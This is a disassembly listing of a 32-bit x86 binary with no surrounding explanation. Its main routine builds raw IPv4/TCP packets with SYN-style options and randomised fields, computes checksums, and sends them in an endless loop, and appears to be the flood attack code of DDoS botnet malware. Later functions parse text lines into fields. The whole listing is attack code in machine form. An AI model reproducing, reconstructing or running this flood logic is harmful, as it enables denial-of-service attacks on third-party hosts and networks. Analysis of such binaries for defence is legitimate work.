8049684: 88 44 24 49 mov %al,0x49(%esp)
8049688: 68 ff ff 00 00 push $0xffff
804968d: 6a 06 push $0x6
804968f: 53 push %ebx
8049690: 56 push %esi
8049691: e8 aa ee ff ff call 0x8048540
8049696: 89 44 24 2c mov %eax,0x2c(%esp)
804969a: 83 c4 20 add $0x20,%esp
804969d: 68 ff ff 00 00 push $0xffff
80496a2: 6a 07 push $0x7
80496a4: 53 push %ebx
80496a5: 56 push %esi
80496a6: e8 95 ee ff ff call 0x8048540
80496ab: 89 44 24 20 mov %eax,0x20(%esp)
80496af: 68 ff ff 00 00 push $0xffff
80496b4: 6a 11 push $0x11
80496b6: 53 push %ebx
80496b7: 56 push %esi
80496b8: e8 83 ee ff ff call 0x8048540
80496bd: 89 44 24 34 mov %eax,0x34(%esp)
80496c1: 83 c4 20 add $0x20,%esp
80496c4: 6a 00 push $0x0
80496c6: 6a 12 push $0x12
80496c8: 53 push %ebx
80496c9: 56 push %esi
80496ca: e8 71 ee ff ff call 0x8048540
80496cf: 89 44 24 28 mov %eax,0x28(%esp)
80496d3: 6a 00 push $0x0
80496d5: 6a 0b push $0xb
80496d7: 53 push %ebx
80496d8: 56 push %esi
80496d9: e8 62 ee ff ff call 0x8048540
80496de: 89 44 24 3c mov %eax,0x3c(%esp)
80496e2: 83 c4 20 add $0x20,%esp
80496e5: 6a 00 push $0x0
80496e7: 6a 0c push $0xc
80496e9: 53 push %ebx
80496ea: 56 push %esi
80496eb: e8 50 ee ff ff call 0x8048540
80496f0: 89 44 24 30 mov %eax,0x30(%esp)
80496f4: 6a 00 push $0x0
80496f6: 6a 0d push $0xd
80496f8: 53 push %ebx
80496f9: 56 push %esi
80496fa: e8 41 ee ff ff call 0x8048540
80496ff: 89 44 24 44 mov %eax,0x44(%esp)
8049703: 83 c4 20 add $0x20,%esp
8049706: 6a 00 push $0x0
8049708: 6a 0e push $0xe
804970a: 53 push %ebx
804970b: 56 push %esi
804970c: e8 2f ee ff ff call 0x8048540
8049711: 89 44 24 38 mov %eax,0x38(%esp)
8049715: 6a 01 push $0x1
8049717: 6a 0f push $0xf
8049719: 53 push %ebx
804971a: 56 push %esi
804971b: e8 20 ee ff ff call 0x8048540
8049720: 89 44 24 4c mov %eax,0x4c(%esp)
8049724: 83 c4 20 add $0x20,%esp
8049727: 6a 00 push $0x0
8049729: 6a 10 push $0x10
804972b: 53 push %ebx
804972c: 56 push %esi
804972d: e8 0e ee ff ff call 0x8048540
8049732: 89 c7 mov %eax,%edi
8049734: a1 08 f1 04 08 mov 0x804f108,%eax
8049739: 50 push %eax
804973a: 6a 19 push $0x19
804973c: 53 push %ebx
804973d: 56 push %esi
804973e: e8 9d ed ff ff call 0x80484e0
8049743: 89 44 24 60 mov %eax,0x60(%esp)
8049747: 83 c4 1c add $0x1c,%esp
804974a: 6a 06 push $0x6
804974c: 6a 03 push $0x3
804974e: 6a 02 push $0x2
8049750: e8 ca 30 00 00 call 0x804c81f
8049755: 89 44 24 40 mov %eax,0x40(%esp)
8049759: 83 c4 10 add $0x10,%esp
804975c: 40 inc %eax
804975d: 0f 84 bc 03 00 00 je 0x8049b1f
8049763: c7 44 24 58 01 00 00 movl $0x1,0x58(%esp)
804976a: 00
804976b: 83 ec 0c sub $0xc,%esp
804976e: 6a 04 push $0x4
8049770: 8d 44 24 68 lea 0x68(%esp),%eax
8049774: 50 push %eax
8049775: 6a 03 push $0x3
8049777: 6a 00 push $0x0
8049779: 8b 44 24 4c mov 0x4c(%esp),%eax
804977d: 50 push %eax
804977e: e8 61 30 00 00 call 0x804c7e4
8049783: 83 c4 20 add $0x20,%esp
8049786: 40 inc %eax
8049787: 0f 84 82 03 00 00 je 0x8049b0f
804978d: 8b 54 24 08 mov 0x8(%esp),%edx
8049791: 8b 4c 24 0c mov 0xc(%esp),%ecx
8049795: 66 89 54 24 36 mov %dx,0x36(%esp)
804979a: 8b 44 24 10 mov 0x10(%esp),%eax
804979e: 8a 54 24 1c mov 0x1c(%esp),%dl
80497a2: 66 89 4c 24 3a mov %cx,0x3a(%esp)
80497a7: 66 89 44 24 3c mov %ax,0x3c(%esp)
80497ac: 88 54 24 3f mov %dl,0x3f(%esp)
80497b0: c7 44 24 58 00 00 00 movl $0x0,0x58(%esp)
80497b7: 00
80497b8: 85 ed test %ebp,%ebp
80497ba: 0f 8e 81 01 00 00 jle 0x8049941
80497c0: 83 e2 01 and $0x1,%edx
80497c3: 8a 44 24 20 mov 0x20(%esp),%al
80497c7: 8b 4c 24 14 mov 0x14(%esp),%ecx
80497cb: 88 54 24 03 mov %dl,0x3(%esp)
80497cf: 83 e0 01 and $0x1,%eax
80497d2: 66 89 4c 24 46 mov %cx,0x46(%esp)
80497d7: 88 44 24 48 mov %al,0x48(%esp)
80497db: 8a 54 24 24 mov 0x24(%esp),%dl
80497df: 8a 4c 24 28 mov 0x28(%esp),%cl
80497e3: 8a 44 24 2c mov 0x2c(%esp),%al
80497e7: c0 64 24 03 05 shlb $0x5,0x3(%esp)
80497ec: 83 e2 01 and $0x1,%edx
80497ef: 83 e1 01 and $0x1,%ecx
80497f2: 83 e0 01 and $0x1,%eax
80497f5: 88 54 24 49 mov %dl,0x49(%esp)
80497f9: 88 4c 24 4a mov %cl,0x4a(%esp)
80497fd: 88 44 24 4b mov %al,0x4b(%esp)
8049801: 83 e7 01 and $0x1,%edi
8049804: 31 db xor %ebx,%ebx
8049806: 56 push %esi
8049807: 56 push %esi
8049808: 6a 01 push $0x1
804980a: 68 80 00 00 00 push $0x80
804980f: e8 d0 37 00 00 call 0x804cfe4
8049814: 8b 54 24 14 mov 0x14(%esp),%edx
8049818: 89 04 9a mov %eax,(%edx,%ebx,4)
804981b: 8b 44 24 68 mov 0x68(%esp),%eax
804981f: 8b 1c 82 mov (%edx,%eax,4),%ebx
8049822: c6 03 45 movb $0x45,(%ebx)
8049825: 8d 73 14 lea 0x14(%ebx),%esi
8049828: 8a 4c 24 45 mov 0x45(%esp),%cl
804982c: 66 c7 43 02 00 3c movw $0x3c00,0x2(%ebx)
8049832: 88 4b 01 mov %cl,0x1(%ebx)
8049835: 66 8b 44 24 46 mov 0x46(%esp),%ax
804983a: 66 c1 c8 08 ror $0x8,%ax
804983e: 66 89 43 04 mov %ax,0x4(%ebx)
8049842: 8a 44 24 48 mov 0x48(%esp),%al
8049846: 83 c4 10 add $0x10,%esp
8049849: 88 43 08 mov %al,0x8(%ebx)
804984c: 80 7c 24 39 00 cmpb $0x0,0x39(%esp)
8049851: 74 06 je 0x8049859
8049853: 66 c7 43 06 40 00 movw $0x40,0x6(%ebx)
8049859: c6 43 09 06 movb $0x6,0x9(%ebx)
804985d: 8b 54 24 40 mov 0x40(%esp),%edx
8049861: 8b 4c 24 74 mov 0x74(%esp),%ecx
8049865: 89 53 0c mov %edx,0xc(%ebx)
8049868: 8b 44 24 58 mov 0x58(%esp),%eax
804986c: 8d 04 40 lea (%eax,%eax,2),%eax
804986f: 8b 44 c1 10 mov 0x10(%ecx,%eax,8),%eax
8049873: 89 43 10 mov %eax,0x10(%ebx)
8049876: 66 8b 44 24 3a mov 0x3a(%esp),%ax
804987b: 66 c1 c8 08 ror $0x8,%ax
804987f: 66 89 43 14 mov %ax,0x14(%ebx)
8049883: 8b 44 24 3c mov 0x3c(%esp),%eax
8049887: 66 c1 c8 08 ror $0x8,%ax
804988b: 66 89 46 02 mov %ax,0x2(%esi)
804988f: 66 8b 44 24 46 mov 0x46(%esp),%ax
8049894: 66 c1 c8 08 ror $0x8,%ax
8049898: 25 ff ff 00 00 and $0xffff,%eax
804989d: 89 46 04 mov %eax,0x4(%esi)
80498a0: 8a 46 0c mov 0xc(%esi),%al
80498a3: 83 e0 0f and $0xf,%eax
80498a6: 83 c8 a0 or $0xffffffa0,%eax
80498a9: 88 46 0c mov %al,0xc(%esi)
80498ac: 8a 46 0d mov 0xd(%esi),%al
80498af: 83 e0 cf and $0xffffffcf,%eax
80498b2: 8a 54 24 48 mov 0x48(%esp),%dl
80498b6: 0a 44 24 03 or 0x3(%esp),%al
80498ba: 8a 4c 24 49 mov 0x49(%esp),%cl
80498be: c1 e2 04 shl $0x4,%edx
80498c1: c1 e1 03 shl $0x3,%ecx
80498c4: 09 d0 or %edx,%eax
80498c6: 83 e0 f3 and $0xfffffff3,%eax
80498c9: 8a 54 24 4a mov 0x4a(%esp),%dl
80498cd: c1 e2 02 shl $0x2,%edx
80498d0: 09 c8 or %ecx,%eax
80498d2: 09 d0 or %edx,%eax
80498d4: 8a 54 24 4b mov 0x4b(%esp),%dl
80498d8: 01 d2 add %edx,%edx
80498da: 83 e0 fc and $0xfffffffc,%eax
80498dd: 09 d0 or %edx,%eax
80498df: 09 f8 or %edi,%eax
80498e1: 88 46 0d mov %al,0xd(%esi)
80498e4: c6 43 28 02 movb $0x2,0x28(%ebx)
80498e8: c6 43 29 04 movb $0x4,0x29(%ebx)
80498ec: e8 5f 1a 00 00 call 0x804b350
80498f1: c6 43 2c 04 movb $0x4,0x2c(%ebx)
80498f5: 83 e0 0f and $0xf,%eax
80498f8: c6 43 2d 02 movb $0x2,0x2d(%ebx)
80498fc: 05 78 05 00 00 add $0x578,%eax
8049901: c6 43 2e 08 movb $0x8,0x2e(%ebx)
8049905: 66 c1 c8 08 ror $0x8,%ax
8049909: c6 43 2f 0a movb $0xa,0x2f(%ebx)
804990d: 66 89 43 2a mov %ax,0x2a(%ebx)
8049911: e8 3a 1a 00 00 call 0x804b350
8049916: c7 43 34 00 00 00 00 movl $0x0,0x34(%ebx)
804991d: 89 43 30 mov %eax,0x30(%ebx)
8049920: c6 43 38 01 movb $0x1,0x38(%ebx)
8049924: c6 43 39 03 movb $0x3,0x39(%ebx)
8049928: c6 43 3a 03 movb $0x3,0x3a(%ebx)
804992c: c6 43 3b 06 movb $0x6,0x3b(%ebx)
8049930: 8b 5c 24 58 mov 0x58(%esp),%ebx
8049934: 43 inc %ebx
8049935: 89 5c 24 58 mov %ebx,0x58(%esp)
8049939: 39 dd cmp %ebx,%ebp
804993b: 0f 8f c5 fe ff ff jg 0x8049806
8049941: 85 ed test %ebp,%ebp
8049943: 7e fe jle 0x8049943
8049945: c7 44 24 58 00 00 00 movl $0x0,0x58(%esp)
804994c: 00
804994d: 31 c0 xor %eax,%eax
804994f: 8b 54 24 04 mov 0x4(%esp),%edx
8049953: 8b 4c 24 74 mov 0x74(%esp),%ecx
8049957: 8b 34 82 mov (%edx,%eax,4),%esi
804995a: 8d 04 40 lea (%eax,%eax,2),%eax
804995d: 8d 04 c1 lea (%ecx,%eax,8),%eax
8049960: 8d 7e 14 lea 0x14(%esi),%edi
8049963: 80 78 14 1f cmpb $0x1f,0x14(%eax)
8049967: 0f 86 d1 00 00 00 jbe 0x8049a3e
804996d: 83 7c 24 40 ff cmpl $0xffffffff,0x40(%esp)
8049972: 0f 84 0b 01 00 00 je 0x8049a83
8049978: 66 83 7c 24 36 ff cmpw $0xffff,0x36(%esp)
804997e: 0f 84 13 01 00 00 je 0x8049a97
8049984: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp)
804998a: 0f 84 1c 01 00 00 je 0x8049aac
8049990: 66 83 7c 24 3c ff cmpw $0xffff,0x3c(%esp)
8049996: 0f 84 25 01 00 00 je 0x8049ac1
804999c: 81 7c 24 14 ff ff 00 cmpl $0xffff,0x14(%esp)
80499a3: 00
80499a4: 0f 84 2e 01 00 00 je 0x8049ad8
80499aa: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp)
80499b1: 00
80499b2: 0f 84 36 01 00 00 je 0x8049aee
80499b8: 80 7c 24 3f 00 cmpb $0x0,0x3f(%esp)
80499bd: 0f 85 3e 01 00 00 jne 0x8049b01
80499c3: 66 c7 46 0a 00 00 movw $0x0,0xa(%esi)
80499c9: 51 push %ecx
80499ca: 51 push %ecx
80499cb: 6a 14 push $0x14
80499cd: 56 push %esi
80499ce: e8 5d 01 00 00 call 0x8049b30
80499d3: 66 89 46 0a mov %ax,0xa(%esi)
80499d7: 66 c7 47 10 00 00 movw $0x0,0x10(%edi)
80499dd: 6a 28 push $0x28
80499df: 68 00 28 00 00 push $0x2800
80499e4: 57 push %edi
80499e5: 56 push %esi
80499e6: e8 95 01 00 00 call 0x8049b80
80499eb: 8b 8c 24 94 00 00 00 mov 0x94(%esp),%ecx
80499f2: 66 89 47 10 mov %ax,0x10(%edi)
80499f6: 8b 44 24 78 mov 0x78(%esp),%eax
80499fa: 66 8b 57 02 mov 0x2(%edi),%dx
80499fe: 83 c4 18 add $0x18,%esp
8049a01: 8d 04 40 lea (%eax,%eax,2),%eax
8049a04: c1 e0 03 shl $0x3,%eax
8049a07: 66 89 54 08 02 mov %dx,0x2(%eax,%ecx,1)
8049a0c: 01 c8 add %ecx,%eax
8049a0e: 6a 10 push $0x10
8049a10: 50 push %eax
8049a11: 68 00 40 00 00 push $0x4000
8049a16: 6a 3c push $0x3c
8049a18: 56 push %esi
8049a19: 8b 54 24 4c mov 0x4c(%esp),%edx
8049a1d: 52 push %edx
8049a1e: e8 7e 2d 00 00 call 0x804c7a1
8049a23: 8b 44 24 78 mov 0x78(%esp),%eax
8049a27: 40 inc %eax
8049a28: 89 44 24 78 mov %eax,0x78(%esp)
8049a2c: 83 c4 20 add $0x20,%esp
8049a2f: 39 e8 cmp %ebp,%eax
8049a31: 0f 8c 18 ff ff ff jl 0x804994f
8049a37: 85 ed test %ebp,%ebp
8049a39: e9 05 ff ff ff jmp 0x8049943
8049a3e: 8b 58 10 mov 0x10(%eax),%ebx
8049a41: e8 0a 19 00 00 call 0x804b350
8049a46: 66 c1 cb 08 ror $0x8,%bx
8049a4a: c1 cb 10 ror $0x10,%ebx
8049a4d: 66 c1 cb 08 ror $0x8,%bx
8049a51: 8b 54 24 58 mov 0x58(%esp),%edx
8049a55: 8d 0c 52 lea (%edx,%edx,2),%ecx
8049a58: 8b 54 24 74 mov 0x74(%esp),%edx
8049a5c: 8a 4c ca 14 mov 0x14(%edx,%ecx,8),%cl
8049a60: 81 e1 ff 00 00 00 and $0xff,%ecx
8049a66: d3 e8 shr %cl,%eax
8049a68: 01 d8 add %ebx,%eax
8049a6a: 66 c1 c8 08 ror $0x8,%ax
8049a6e: c1 c8 10 ror $0x10,%eax
8049a71: 66 c1 c8 08 ror $0x8,%ax
8049a75: 83 7c 24 40 ff cmpl $0xffffffff,0x40(%esp)
8049a7a: 89 46 10 mov %eax,0x10(%esi)
8049a7d: 0f 85 f5 fe ff ff jne 0x8049978
8049a83: e8 c8 18 00 00 call 0x804b350
8049a88: 66 83 7c 24 36 ff cmpw $0xffff,0x36(%esp)
8049a8e: 89 46 0c mov %eax,0xc(%esi)
8049a91: 0f 85 ed fe ff ff jne 0x8049984
8049a97: e8 b4 18 00 00 call 0x804b350
8049a9c: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp)
8049aa2: 66 89 46 04 mov %ax,0x4(%esi)
8049aa6: 0f 85 e4 fe ff ff jne 0x8049990
8049aac: e8 9f 18 00 00 call 0x804b350
8049ab1: 66 83 7c 24 3c ff cmpw $0xffff,0x3c(%esp)
8049ab7: 66 89 46 14 mov %ax,0x14(%esi)
8049abb: 0f 85 db fe ff ff jne 0x804999c
8049ac1: e8 8a 18 00 00 call 0x804b350
8049ac6: 81 7c 24 14 ff ff 00 cmpl $0xffff,0x14(%esp)
8049acd: 00
8049ace: 66 89 47 02 mov %ax,0x2(%edi)
8049ad2: 0f 85 d2 fe ff ff jne 0x80499aa
8049ad8: e8 73 18 00 00 call 0x804b350
8049add: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp)
8049ae4: 00
8049ae5: 89 47 04 mov %eax,0x4(%edi)
8049ae8: 0f 85 ca fe ff ff jne 0x80499b8
8049aee: e8 5d 18 00 00 call 0x804b350
8049af3: 80 7c 24 3f 00 cmpb $0x0,0x3f(%esp)
8049af8: 89 47 08 mov %eax,0x8(%edi)
8049afb: 0f 84 c2 fe ff ff je 0x80499c3
8049b01: e8 4a 18 00 00 call 0x804b350
8049b06: 66 89 47 12 mov %ax,0x12(%edi)
8049b0a: e9 b4 fe ff ff jmp 0x80499c3
8049b0f: 83 ec 0c sub $0xc,%esp
8049b12: 8b 7c 24 3c mov 0x3c(%esp),%edi
8049b16: 57 push %edi
8049b17: e8 b7 25 00 00 call 0x804c0d3
8049b1c: 83 c4 10 add $0x10,%esp
8049b1f: 83 c4 5c add $0x5c,%esp
8049b22: 5b pop %ebx
8049b23: 5e pop %esi
8049b24: 5f pop %edi
8049b25: 5d pop %ebp
8049b26: c3 ret
8049b27: 90 nop
8049b28: 90 nop
8049b29: 90 nop
8049b2a: 90 nop
8049b2b: 90 nop
8049b2c: 90 nop
8049b2d: 90 nop
8049b2e: 90 nop
8049b2f: 90 nop
8049b30: 53 push %ebx
8049b31: 31 db xor %ebx,%ebx
8049b33: 8b 4c 24 0c mov 0xc(%esp),%ecx
8049b37: 8b 54 24 08 mov 0x8(%esp),%edx
8049b3b: 83 f9 01 cmp $0x1,%ecx
8049b3e: 76 15 jbe 0x8049b55
8049b40: 66 8b 02 mov (%edx),%ax
8049b43: 83 e9 02 sub $0x2,%ecx
8049b46: 25 ff ff 00 00 and $0xffff,%eax
8049b4b: 83 c2 02 add $0x2,%edx
8049b4e: 01 c3 add %eax,%ebx
8049b50: 83 f9 01 cmp $0x1,%ecx
8049b53: 77 eb ja 0x8049b40
8049b55: 49 dec %ecx
8049b56: 75 05 jne 0x8049b5d
8049b58: 0f be 02 movsbl (%edx),%eax
8049b5b: 01 c3 add %eax,%ebx
8049b5d: 89 d8 mov %ebx,%eax
8049b5f: 0f b7 d3 movzwl %bx,%edx
8049b62: c1 e8 10 shr $0x10,%eax
8049b65: 5b pop %ebx
8049b66: 01 d0 add %edx,%eax
8049b68: 89 c2 mov %eax,%edx
8049b6a: c1 ea 10 shr $0x10,%edx
8049b6d: 01 d0 add %edx,%eax
8049b6f: 83 f0 ff xor $0xffffffff,%eax
8049b72: 25 ff ff 00 00 and $0xffff,%eax
8049b77: c3 ret
8049b78: 90 nop
8049b79: 90 nop
8049b7a: 90 nop
8049b7b: 90 nop
8049b7c: 90 nop
8049b7d: 90 nop
8049b7e: 90 nop
8049b7f: 90 nop
8049b80: 55 push %ebp
8049b81: 57 push %edi
8049b82: 56 push %esi
8049b83: 53 push %ebx
8049b84: 83 ec 04 sub $0x4,%esp
8049b87: 31 db xor %ebx,%ebx
8049b89: 8b 74 24 18 mov 0x18(%esp),%esi
8049b8d: 8b 4c 24 24 mov 0x24(%esp),%ecx
8049b91: 8b 44 24 20 mov 0x20(%esp),%eax
8049b95: 8b 54 24 1c mov 0x1c(%esp),%edx
8049b99: 66 89 44 24 02 mov %ax,0x2(%esp)
8049b9e: 8b 7e 0c mov 0xc(%esi),%edi
8049ba1: 8b 6e 10 mov 0x10(%esi),%ebp
8049ba4: 83 f9 01 cmp $0x1,%ecx
8049ba7: 7e 1c jle 0x8049bc5
8049ba9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
8049bb0: 66 8b 02 mov (%edx),%ax
8049bb3: 83 e9 02 sub $0x2,%ecx
8049bb6: 25 ff ff 00 00 and $0xffff,%eax
8049bbb: 83 c2 02 add $0x2,%edx
8049bbe: 01 c3 add %eax,%ebx
8049bc0: 83 f9 01 cmp $0x1,%ecx
8049bc3: 7f eb jg 0x8049bb0
8049bc5: 49 dec %ecx
8049bc6: 74 64 je 0x8049c2c
8049bc8: 89 e9 mov %ebp,%ecx
8049bca: 31 c0 xor %eax,%eax
8049bcc: c1 e9 10 shr $0x10,%ecx
8049bcf: 8a 46 09 mov 0x9(%esi),%al
8049bd2: 66 c1 c8 08 ror $0x8,%ax
8049bd6: 8d 0c 0b lea (%ebx,%ecx,1),%ecx
8049bd9: 25 ff ff 00 00 and $0xffff,%eax
8049bde: 01 c1 add %eax,%ecx
8049be0: 89 fa mov %edi,%edx
8049be2: 89 f8 mov %edi,%eax
8049be4: 81 e2 ff ff 00 00 and $0xffff,%edx
8049bea: c1 e8 10 shr $0x10,%eax
8049bed: 01 d0 add %edx,%eax
8049bef: 89 ea mov %ebp,%edx
8049bf1: 81 e2 ff ff 00 00 and $0xffff,%edx
8049bf7: 01 d0 add %edx,%eax
8049bf9: 66 8b 54 24 02 mov 0x2(%esp),%dx
8049bfe: 81 e2 ff ff 00 00 and $0xffff,%edx
8049c04: 01 d0 add %edx,%eax
8049c06: 8d 04 01 lea (%ecx,%eax,1),%eax
8049c09: 89 c2 mov %eax,%edx
8049c0b: c1 ea 10 shr $0x10,%edx
8049c0e: 74 0e je 0x8049c1e
8049c10: 25 ff ff 00 00 and $0xffff,%eax
8049c15: 01 d0 add %edx,%eax
8049c17: 89 c2 mov %eax,%edx
8049c19: c1 ea 10 shr $0x10,%edx
8049c1c: 75 f2 jne 0x8049c10
8049c1e: 83 f0 ff xor $0xffffffff,%eax
8049c21: 5a pop %edx
8049c22: 25 ff ff 00 00 and $0xffff,%eax
8049c27: 5b pop %ebx
8049c28: 5e pop %esi
8049c29: 5f pop %edi
8049c2a: 5d pop %ebp
8049c2b: c3 ret
8049c2c: 31 c0 xor %eax,%eax
8049c2e: 8a 02 mov (%edx),%al
8049c30: 01 c3 add %eax,%ebx
8049c32: eb 94 jmp 0x8049bc8
8049c34: 90 nop
8049c35: 90 nop
8049c36: 90 nop
8049c37: 90 nop
8049c38: 90 nop
8049c39: 90 nop
8049c3a: 90 nop
8049c3b: 90 nop
8049c3c: 90 nop
8049c3d: 90 nop
8049c3e: 90 nop
8049c3f: 90 nop
8049c40: 55 push %ebp
8049c41: 57 push %edi
8049c42: 56 push %esi
8049c43: 53 push %ebx
8049c44: 81 ec 3c 22 00 00 sub $0x223c,%esp
8049c4a: 8d bc 24 1b 20 00 00 lea 0x201b(%esp),%edi
8049c51: 8b 9c 24 50 22 00 00 mov 0x2250(%esp),%ebx
8049c58: c7 84 24 2c 22 00 00 movl $0x0,0x222c(%esp)
8049c5f: 00 00 00 00
8049c63: c7 84 24 30 22 00 00 movl $0x0,0x2230(%esp)
8049c6a: 00 00 00 00
8049c6e: c7 84 24 34 22 00 00 movl $0x0,0x2234(%esp)
8049c75: 00 00 00 00
8049c79: c7 84 24 38 22 00 00 movl $0x0,0x2238(%esp)
8049c80: 00 00 00 00
8049c84: 50 push %eax
8049c85: 68 01 02 00 00 push $0x201
8049c8a: 6a 00 push $0x0
8049c8c: 57 push %edi
8049c8d: e8 75 29 00 00 call 0x804c607
8049c92: 83 c4 0c add $0xc,%esp
8049c95: 66 c1 cb 08 ror $0x8,%bx
8049c99: 68 00 10 00 00 push $0x1000
8049c9e: 6a 00 push $0x0
8049ca0: 8d 44 24 27 lea 0x27(%esp),%eax
8049ca4: 81 e3 ff ff 00 00 and $0xffff,%ebx
8049caa: 50 push %eax
8049cab: e8 57 29 00 00 call 0x804c607
8049cb0: 83 c4 0c add $0xc,%esp
8049cb3: 68 00 10 00 00 push $0x1000
8049cb8: 6a 00 push $0x0
8049cba: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049cc1: 52 push %edx
8049cc2: e8 40 29 00 00 call 0x804c607
8049cc7: 83 c4 0c add $0xc,%esp
8049cca: 8d 84 24 20 22 00 00 lea 0x2220(%esp),%eax
8049cd1: 50 push %eax
8049cd2: 6a 10 push $0x10
8049cd4: 53 push %ebx
8049cd5: e8 96 22 00 00 call 0x804bf70
8049cda: 5d pop %ebp
8049cdb: 8d 94 24 28 22 00 00 lea 0x2228(%esp),%edx
8049ce2: 52 push %edx
8049ce3: e8 18 1f 00 00 call 0x804bc00
8049ce8: 83 c4 10 add $0x10,%esp
8049ceb: 83 f8 02 cmp $0x2,%eax
8049cee: 0f 84 44 05 00 00 je 0x804a238
8049cf4: 83 ec 0c sub $0xc,%esp
8049cf7: 6a 0d push $0xd
8049cf9: e8 32 19 00 00 call 0x804b630
8049cfe: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
8049d05: e8 26 19 00 00 call 0x804b630
8049d0a: c7 04 24 0f 00 00 00 movl $0xf,(%esp)
8049d11: e8 1a 19 00 00 call 0x804b630
8049d16: c7 04 24 11 00 00 00 movl $0x11,(%esp)
8049d1d: e8 0e 19 00 00 call 0x804b630
8049d22: 5b pop %ebx
8049d23: 5e pop %esi
8049d24: 6a 00 push $0x0
8049d26: 6a 11 push $0x11
8049d28: e8 53 18 00 00 call 0x804b580
8049d2d: 5a pop %edx
8049d2e: 59 pop %ecx
8049d2f: 31 db xor %ebx,%ebx
8049d31: 6a 00 push $0x0
8049d33: 50 push %eax
8049d34: e8 ab 24 00 00 call 0x804c1e4
8049d39: 83 c4 10 add $0x10,%esp
8049d3c: 89 c5 mov %eax,%ebp
8049d3e: 83 f8 ff cmp $0xffffffff,%eax
8049d41: 0f 84 8a 04 00 00 je 0x804a1d1
8049d47: 50 push %eax
8049d48: 55 push %ebp
8049d49: 68 00 02 00 00 push $0x200
8049d4e: 57 push %edi
8049d4f: e8 7c 20 00 00 call 0x804bdd0
8049d54: 83 c4 10 add $0x10,%esp
8049d57: 85 c0 test %eax,%eax
8049d59: 0f 84 1f 01 00 00 je 0x8049e7e
8049d5f: 8a 84 24 1b 20 00 00 mov 0x201b(%esp),%al
8049d66: 84 c0 test %al,%al
8049d68: 0f 84 22 04 00 00 je 0x804a190
8049d6e: 31 d2 xor %edx,%edx
8049d70: 3c 3a cmp $0x3a,%al
8049d72: 0f 84 18 04 00 00 je 0x804a190
8049d78: 42 inc %edx
8049d79: 8a 04 3a mov (%edx,%edi,1),%al
8049d7c: 84 c0 test %al,%al
8049d7e: 74 c7 je 0x8049d47
8049d80: 3c 3a cmp $0x3a,%al
8049d82: 75 f4 jne 0x8049d78
8049d84: 84 c0 test %al,%al
8049d86: 74 bf je 0x8049d47
8049d88: 8d 4a 02 lea 0x2(%edx),%ecx
8049d8b: 8a 84 0c 1b 20 00 00 mov 0x201b(%esp,%ecx,1),%al
8049d92: 84 c0 test %al,%al
8049d94: 0f 84 fd 03 00 00 je 0x804a197
8049d9a: 3c 20 cmp $0x20,%al
8049d9c: 0f 84 f5 03 00 00 je 0x804a197
8049da2: 8d 04 17 lea (%edi,%edx,1),%eax
8049da5: 8a 50 03 mov 0x3(%eax),%dl
8049da8: 40 inc %eax
8049da9: 84 d2 test %dl,%dl
8049dab: 74 05 je 0x8049db2
8049dad: 80 fa 20 cmp $0x20,%dl
8049db0: 75 f3 jne 0x8049da5
8049db2: 29 f8 sub %edi,%eax
8049db4: 8d 70 02 lea 0x2(%eax),%esi
8049db7: c6 84 34 1b 20 00 00 movb $0x0,0x201b(%esp,%esi,1)
8049dbe: 00
8049dbf: 83 ec 0c sub $0xc,%esp
8049dc2: 8d 1c 0f lea (%edi,%ecx,1),%ebx
8049dc5: 53 push %ebx
8049dc6: e8 35 1e 00 00 call 0x804bc00
8049dcb: 83 c4 0c add $0xc,%esp
8049dce: 8d 94 24 20 22 00 00 lea 0x2220(%esp),%edx
8049dd5: 52 push %edx
8049dd6: 50 push %eax
8049dd7: 53 push %ebx
8049dd8: e8 c3 20 00 00 call 0x804bea0
8049ddd: 83 c4 10 add $0x10,%esp
8049de0: 40 inc %eax
8049de1: 0f 84 60 ff ff ff je 0x8049d47
8049de7: 8d 4e 01 lea 0x1(%esi),%ecx
8049dea: 8d 14 37 lea (%edi,%esi,1),%edx
8049ded: 31 db xor %ebx,%ebx
8049def: 31 f6 xor %esi,%esi
8049df1: c6 44 24 0b 00 movb $0x0,0xb(%esp)
8049df6: 8a 42 02 mov 0x2(%edx),%al
8049df9: 41 inc %ecx
8049dfa: 84 c0 test %al,%al
8049dfc: 74 20 je 0x8049e1e
8049dfe: 3c 20 cmp $0x20,%al
8049e00: 0f 84 82 03 00 00 je 0x804a188
8049e06: 3c 09 cmp $0x9,%al
8049e08: 0f 84 7a 03 00 00 je 0x804a188
8049e0e: fe cb dec %bl
8049e10: 0f 84 5a 03 00 00 je 0x804a170
8049e16: 31 db xor %ebx,%ebx
8049e18: 42 inc %edx
8049e19: 83 fe 06 cmp $0x6,%esi
8049e1c: 7e d8 jle 0x8049df6
8049e1e: 89 ca mov %ecx,%edx
8049e20: 80 7c 24 0b 00 cmpb $0x0,0xb(%esp)
8049e25: 0f 84 1c ff ff ff je 0x8049d47
8049e2b: 8a 84 0c 1b 20 00 00 mov 0x201b(%esp,%ecx,1),%al
8049e32: 84 c0 test %al,%al
8049e34: 74 15 je 0x8049e4b
8049e36: 3c 20 cmp $0x20,%al
8049e38: 74 11 je 0x8049e4b
8049e3a: 8d 04 0f lea (%edi,%ecx,1),%eax
8049e3d: 8a 58 01 mov 0x1(%eax),%bl
8049e40: 41 inc %ecx
8049e41: 40 inc %eax
8049e42: 84 db test %bl,%bl
8049e44: 74 05 je 0x8049e4b
8049e46: 80 fb 20 cmp $0x20,%bl
8049e49: 75 f2 jne 0x8049e3d
8049e4b: c6 84 0c 1b 20 00 00 movb $0x0,0x201b(%esp,%ecx,1)
8049e52: 00
8049e53: 83 ec 0c sub $0xc,%esp
8049e56: 8d 1c 17 lea (%edi,%edx,1),%ebx
8049e59: 53 push %ebx
8049e5a: e8 a1 1d 00 00 call 0x804bc00
8049e5f: 83 c4 10 add $0x10,%esp
8049e62: 83 f8 0f cmp $0xf,%eax
8049e65: 0f 8f dc fe ff ff jg 0x8049d47
8049e6b: 50 push %eax
8049e6c: 50 push %eax
8049e6d: 53 push %ebx
8049e6e: 8d 84 24 38 22 00 00 lea 0x2238(%esp),%eax
8049e75: 50 push %eax
8049e76: e8 a5 1d 00 00 call 0x804bc20
8049e7b: 83 c4 10 add $0x10,%esp
8049e7e: 83 ec 0c sub $0xc,%esp
